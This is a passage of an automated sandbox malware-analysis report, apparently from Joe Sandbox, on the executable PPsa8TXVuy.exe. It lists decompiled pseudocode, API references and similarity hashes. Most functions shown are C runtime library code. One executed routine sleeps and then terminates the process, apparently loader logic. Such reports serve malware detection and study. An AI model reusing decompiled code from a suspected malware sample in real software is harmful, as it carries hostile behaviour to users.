					_push(_t13);
					E00404210();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E00403EDB();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x00403e85
0x00403e87
0x00403e8c
0x00403e91
0x00403e96
0x00403f0d
0x00403f12
0x00403f12
0x00403e9f
0x00403ee4
0x00403ee5
0x00403eed
0x00403ef3
0x00403ef5
0x00403ef7
0x00403f0a
0x00403f0c
0x00000000
0x00403ef5
0x00403ea3
0x00403ea9
0x00403eae
0x00403eb4
0x00403eb9
0x00403ebb
0x00403ebc
0x00403ebd
0x00403ec3
0x00403ec4
0x00403ecb
0x00403ed4
0x00000000
0x00403ed6
0x00403ed6
0x00000000
0x00403ed6

APIs

__lock.LIBCMT ref: 00403EA3

Part of subcall function 004041AD: __mtinitlocknum.LIBCMT ref: 004041C3
Part of subcall function 004041AD: __amsg_exit.LIBCMT ref: 004041CF
Part of subcall function 004041AD: EnterCriticalSection.KERNEL32(00407D8D,00407D8D,?,00403F94,00000004,004179C8,0000000C,00409FAE,00000001,00407D9C,00000000,00000000,00000000,?,00407D9C,00000001), ref: 004041D7

___sbh_find_block.LIBCMT ref: 00403EAE
___sbh_free_block.LIBCMT ref: 00403EBD
HeapFree.KERNEL32(00000000,00000001,004179A8,0000000C,0040418E,00000000,004179E8,0000000C,004041C8,00000001,00407D8D,?,00403F94,00000004,004179C8,0000000C), ref: 00403EED
GetLastError.KERNEL32(?,00403F94,00000004,004179C8,0000000C,00409FAE,00000001,00407D9C,00000000,00000000,00000000,?,00407D9C,00000001,00000214), ref: 00403EFE

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 4434857f652f1f2a3c1cfaaacb5155b79704ef29741b2fdab4669469e9a67025
Instruction ID: 7673ec5024878c3a3d7f4c7d00435be65df8ca4923fcc5142fb0b77071d5040c
Opcode Fuzzy Hash: 4434857f652f1f2a3c1cfaaacb5155b79704ef29741b2fdab4669469e9a67025
Instruction Fuzzy Hash: 7001A771905205A6DF206FB2AC0AB5F7E789F4075AF20413FF6007A1C0DB3C8B408A9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D24E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040D24E() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x415ec8;
					_v28 =  *0x415ec0;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x0040d253
0x0040d25b
0x0040d272
0x0040d21e
0x0040d227
0x0040d233
0x0040d236
0x0040d239
0x0040d23b
0x0040d23e
0x0040d243
0x0040d24d
0x0040d245
0x0040d249
0x0040d249
0x0040d25d
0x0040d263
0x0040d26b
0x00000000
0x0040d26d
0x0040d26d
0x0040d271
0x0040d271
0x0040d26b

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040704A), ref: 0040D253
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040D263

Strings

IsProcessorFeaturePresent, xrefs: 0040D25D
KERNEL32, xrefs: 0040D24E

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 55a6fe8518cb327bbcdf9397cabf93a9abfb7cc9b6e6c52d223b4506b6ed6081
Instruction ID: 9efea2eb6013721e7f1f584b46ce53b402d0aa4525c3d983b600c4443d76a6d5
Opcode Fuzzy Hash: 55a6fe8518cb327bbcdf9397cabf93a9abfb7cc9b6e6c52d223b4506b6ed6081
Instruction Fuzzy Hash: FBF01730E00A09D2DF106BE1AD0A6EF7EB9BBC4746F9245A5D192B00C8DF74C5B5824A

Uniqueness

Uniqueness Score: -1.00%

Function 004023BF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 73%

			E004023BF(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v0;
				signed int _v4;
				char _v40;
				char _v80;
				char* _t21;
				char* _t25;

				_push(0x44);
				E0040384A(E00412F1E, __ebx, __edi, __esi);
				E00401AB8( &_v40, "invalid string position");
				_v4 = _v4 & 0x00000000;
				_t21 =  &_v80;
				E00402338(_t21,  &_v40);
				E004033FB( &_v80, 0x4177e8);
				asm("int3");
				_push(__esi);
				_t25 = _t21;
				 *((intOrPtr*)(_t25 + 0x18)) = 0xf;
				E00401D13(_t21, 0);
				E00401AEE(_t25, _v0, 0, 0xffffffff);
				return _t25;
			}

0x004023bf
0x004023c6
0x004023d3
0x004023d8
0x004023e0
0x004023e3
0x004023f1
0x004023f6
0x004023fc
0x004023fd
0x00402401
0x00402408
0x00402416
0x0040241f

APIs

__EH_prolog3.LIBCMT ref: 004023C6
std::bad_exception::bad_exception.LIBCMT ref: 004023E3

Part of subcall function 00402338: std::runtime_error::runtime_error.LIBCPMT ref: 00402343

__CxxThrowException@8.LIBCMT ref: 004023F1

Part of subcall function 004033FB: RaiseException.KERNEL32(?,?,004031B8,?,?,?,?,?,004031B8,?,00417F08,0043AE48,?,004021F8,?,00000006), ref: 0040343D

Strings

invalid string position, xrefs: 004023CB

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: ExceptionException@8H_prolog3RaiseThrowstd::bad_exception::bad_exceptionstd::runtime_error::runtime_error
String ID: invalid string position
API String ID: 3299838469-1799206989
Opcode ID: eefae91d2a81b2b54a575dc389ad0ab65671b06947c5d296a0d274f49d0bd1d7
Instruction ID: e8cfae42ab86e9b17e7ba030cf8ed8475fceaa601c45a77c80bea1507eb301e9
Opcode Fuzzy Hash: eefae91d2a81b2b54a575dc389ad0ab65671b06947c5d296a0d274f49d0bd1d7
Instruction Fuzzy Hash: C6D0EC71940208A6CB04EAE1C846BDDB778AB14706F50003AB201B60C2DFBC96848718

Uniqueness

Uniqueness Score: -1.00%

Function 004107E2, Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004107E2(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040540F( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E0040C350( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E00403DD4(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x004107ec
0x004107f3
0x0041080a
0x00000000
0x004107fa
0x004107fc
0x00410816
0x0041081b
0x0041081e
0x00410821
0x0041084a
0x00410851
0x00410853
0x004108d4
0x004108ef
0x004108f1
0x00410831
0x00410831
0x00410834
0x00410836
0x00410839
0x00410839
0x00410839
0x00410839
0x00000000
0x0041083f
0x004108b3
0x004108b3
0x004108b8
0x004108be
0x004108c1
0x004108c3
0x004108c6
0x004108c6
0x004108c6
0x004108c6
0x00000000
0x004108ca
0x00410855
0x00410858
0x0041085e
0x00410861
0x00410888
0x0041088b
0x00410891
0x00000000
0x00000000
0x00410893
0x00410896
0x00000000
0x00000000
0x00410898
0x00410898
0x0041089e
0x004108a1
0x0041080f
0x0041080f
0x004108aa
0x00000000
0x004108aa
0x00410863
0x00410866
0x00000000
0x00000000
0x0041086a
0x0041087b
0x00410881
0x00410883
0x00410886
0x00000000
0x00000000
0x00000000
0x00410886
0x00410823
0x00410826
0x00410828
0x0041082e
0x0041082e
0x00000000
0x004107fe
0x004107fe
0x00410803
0x00410807
0x00410807
0x00000000
0x00410803
0x004107fc

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00410816
__isleadbyte_l.LIBCMT ref: 0041084A
MultiByteToWideChar.KERNEL32(00000080,00000009,00000000,?,00000000,00000000,?,?,?,?,00000000,00000000,00000020), ref: 0041087B
MultiByteToWideChar.KERNEL32(00000080,00000009,00000000,00000001,00000000,00000000,?,?,?,?,00000000,00000000,00000020), ref: 004108E9

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 1a59673346ebed4accbe3c139cbab39f2618d1c3dc37b78315fef671d67b083f
Instruction ID: d4a59609efa29d9dedb9ee76d19c595afa5874e5aa1195f0a2104ac0640b7952
Opcode Fuzzy Hash: 1a59673346ebed4accbe3c139cbab39f2618d1c3dc37b78315fef671d67b083f
Instruction Fuzzy Hash: 2031B131A08246EFDB20EFA4C880AEA7BB5EF01311B14856AE4559B291D7B4DDC1DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040D13A, Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040D13A(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E0040CA2B(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E0040CB1B(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E0040D040(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E0040CF85(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x0040d13f
0x0040d145
0x0040d1b8
0x00000000
0x0040d14c
0x0040d14c
0x0040d14f
0x0040d16a
0x0040d16d
0x0040d18d
0x0040d19f
0x0040d16f
0x0040d16f
0x0040d172
0x00000000
0x0040d174
0x0040d186
0x0040d186
0x0040d172
0x0040d1bd
0x0040d1c1
0x0040d151
0x0040d169
0x0040d169
0x0040d14f

APIs

__cftof_l.LIBCMT ref: 0040D160

Part of subcall function 0040CF85: __fltout2.LIBCMT ref: 0040CFB1

__cftog_l.LIBCMT ref: 0040D186
__cftoe_l.LIBCMT ref: 0040D1B8

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 2304b99cc5cdf224082c553df4e8fdb397f50b7084f02afe76ee580aa34f26fa
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 41117E7240014ABBCF125FC4DC41CEE3F22BF18394B588526FE18691B1C73AC9B6AB85

Uniqueness

Uniqueness Score: -1.00%

Function 0040B04D, Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0040B04D(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x417d40);
				E00404CA4(__ebx, __edi, __esi);
				_t28 = E00407DEA(__ebx, __edx, __edi, _t30);
				_t13 =  *0x419cac; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E004041AD(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x419d90; // 0x419cb8
					 *((intOrPtr*)(_t29 - 0x1c)) = E0040B00F(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E0040B0B7();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00407DEA(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E00404EEC(_t25, _t26, 0x20);
				}
				return E00404CE9(_t28);
			}

0x0040b04d
0x0040b04d
0x0040b04d
0x0040b04d
0x0040b04d
0x0040b04f
0x0040b054
0x0040b05e
0x0040b060
0x0040b068
0x0040b08c
0x0040b08e
0x0040b094
0x0040b098
0x0040b09b
0x0040b0a6
0x0040b0a9
0x0040b0b0
0x0040b06a
0x0040b06a
0x0040b06e
0x00000000
0x0040b070
0x0040b075
0x0040b075
0x0040b06e
0x0040b07a
0x0040b07e
0x0040b083
0x0040b08b

APIs

__getptd.LIBCMT ref: 0040B059

Part of subcall function 00407DEA: __getptd_noexit.LIBCMT ref: 00407DED
Part of subcall function 00407DEA: __amsg_exit.LIBCMT ref: 00407DFA

__getptd.LIBCMT ref: 0040B070
__amsg_exit.LIBCMT ref: 0040B07E
__lock.LIBCMT ref: 0040B08E

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 337ba3acd6974c1b79e366f9b2872e32416291eabac398ab7429648d83525adb
Instruction ID: da94c85d111bcd631e86d88fbed851a3fb7c4caf6521eff3f12f1db841eba2ba
Opcode Fuzzy Hash: 337ba3acd6974c1b79e366f9b2872e32416291eabac398ab7429648d83525adb
Instruction Fuzzy Hash: 73F01271944701CBE621BB669406B9A72A0EF40718F11817FE5A0772D1DB7C5941CA9E

Uniqueness

Uniqueness Score: -1.00%

Function 004093E8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E004093E8(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E00403789(__ebx, __edx, __edi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E00407DEA(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E00407DEA(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E00403762(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E00409180(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x004093e8
0x004093e8
0x004093e8
0x004093e8
0x004093e8
0x004093eb
0x004093f1
0x004093ff
0x00409405
0x0040940d
0x00409419
0x00409421
0x00409429
0x0040943d
0x0040943f
0x00409443
0x00409448
0x0040944e
0x00409450
0x00409452
0x00409455
0x00000000
0x0040945c
0x00409450
0x00409443
0x0040943d
0x00409429
0x0040945d

APIs

Part of subcall function 00403789: __getptd.LIBCMT ref: 0040378F
Part of subcall function 00403789: __getptd.LIBCMT ref: 0040379F

__getptd.LIBCMT ref: 004093F7

Part of subcall function 00407DEA: __getptd_noexit.LIBCMT ref: 00407DED
Part of subcall function 00407DEA: __amsg_exit.LIBCMT ref: 00407DFA

__getptd.LIBCMT ref: 00409405

Strings

csm, xrefs: 00409413

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: cb8721f006335f0d965b5e949dac83853dc37aeaf957dce9d60ee321be23e131
Instruction ID: 55d841a1f15d396c75fb59b589cc08f23a0a11b9f07be34aa0053eb1ab7cfaa9
Opcode Fuzzy Hash: cb8721f006335f0d965b5e949dac83853dc37aeaf957dce9d60ee321be23e131
Instruction Fuzzy Hash: 5C0128748052058ACF24AFA5E464AAEB7B5AF11311F54893FE440766D3CB389D86CA19

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: PPsa8TXVuy.exe PID: 3676 Parent PID: 6588 PPsa8TXVuy.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	70.8%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000003.00000002.348111614.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000003.00000002.348111614.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
